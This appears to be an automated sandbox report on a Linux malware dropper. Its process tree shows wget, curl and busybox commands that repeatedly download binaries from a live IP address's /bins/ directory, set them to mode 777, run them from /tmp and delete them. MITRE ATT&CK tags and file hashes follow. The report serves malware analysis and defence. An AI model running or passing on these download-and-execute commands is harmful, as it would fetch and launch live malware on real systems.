/bin/busybox/bin/busybox wget http://87.120.126.196/bins/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵PID:860
-
-
/bin/chmodchmod 777 LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵
- File and Directory Permissions Modification
PID:861
-
-
/tmp/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo./LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵
- Executes dropped EXE
PID:862
-
-
/bin/rmrm LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵PID:863
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵PID:864
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:865
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵PID:866
-
-
/bin/chmodchmod 777 waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵
- File and Directory Permissions Modification
PID:867
-
-
/tmp/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF./waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵
- Executes dropped EXE
PID:868
-
-
/bin/rmrm waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵PID:869
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵PID:870
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:872
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵PID:874
-
-
/bin/chmodchmod 777 quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵
- File and Directory Permissions Modification
PID:875
-
-
/tmp/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0./quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵
- Executes dropped EXE
PID:876
-
-
/bin/rmrm quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵PID:877
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵PID:878
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:879
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵PID:880
-
-
/bin/chmodchmod 777 0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵
- File and Directory Permissions Modification
PID:881
-
-
/tmp/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD./0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵
- Executes dropped EXE
PID:882
-
-
/bin/rmrm 0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵PID:883
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵PID:884
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:885
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵PID:886
-
-
/bin/chmodchmod 777 zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵
- File and Directory Permissions Modification
PID:887
-
-
/tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt./zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵
- Executes dropped EXE
PID:888
-
-
/bin/rmrm zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵PID:889
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵PID:890
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:891
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵PID:892
-
-
/bin/chmodchmod 777 xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵
- File and Directory Permissions Modification
PID:893
-
-
/tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF./xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵
- Executes dropped EXE
PID:894
-
-
/bin/rmrm xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵PID:895
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵PID:896
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:897
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵PID:901
-
-
/bin/chmodchmod 777 CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵
- File and Directory Permissions Modification
PID:902
-
-
/tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs./CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵
- Executes dropped EXE
PID:903
-
-
/bin/rmrm CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵PID:904
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵PID:905
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:906
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵PID:907
-
-
/bin/chmodchmod 777 jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵
- File and Directory Permissions Modification
PID:908
-
-
/tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa./jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵
- Executes dropped EXE
PID:909
-
-
/bin/rmrm jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵PID:910
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵PID:911
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:912
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵PID:913
-
-
/bin/chmodchmod 777 GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵
- File and Directory Permissions Modification
PID:914
-
-
/tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms./GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵
- Executes dropped EXE
PID:915
-
-
/bin/rmrm GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵PID:916
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵PID:917
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:918
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵PID:919
-
-
/bin/chmodchmod 777 DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵
- File and Directory Permissions Modification
PID:920
-
-
/tmp/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB./DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵
- Executes dropped EXE
PID:921
-
-
/bin/rmrm DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵PID:922
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵PID:923
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:924
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵PID:925
-
-
/bin/chmodchmod 777 ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵
- File and Directory Permissions Modification
PID:926
-
-
/tmp/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S./ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵
- Executes dropped EXE
PID:927
-
-
/bin/rmrm ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵PID:928
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97